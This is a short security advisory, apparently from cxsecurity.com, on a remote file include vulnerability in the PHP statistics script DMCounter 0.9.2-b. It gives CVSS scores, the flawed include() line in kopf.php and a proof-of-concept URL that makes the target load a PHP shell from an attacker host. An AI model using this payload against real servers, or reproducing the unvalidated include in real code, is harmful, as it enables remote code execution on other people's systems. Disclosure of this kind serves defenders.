DMCounter Remote File Include

2006.05.03
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

Script: DMCounter Version: 0.9.2-b Language: PHP Problem: Remote File Include Vendor: http://sourceforge.net/projects/dmcounter Discovered by: beford <xbefordx gmail com> Description ============= Statistics software based on PHP which does not require any database support but just uses flat files. Daily + monthly visits, which pages, from where, browsers and OSs are listed and visually presented Problem ============= A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service. The vulnerable file is kopf.php 1 <?php 2 $basepath=getcwd(); 3 include($rootdir.'/lang.php'); $rootdir is not being declared before using it in the include() function. Proof of Concept URL ============== http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshel l.txt? Greets: ============== ][GB][ Zetha - http://odiameporsernegro.org uyx fallen - x33x37.org


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top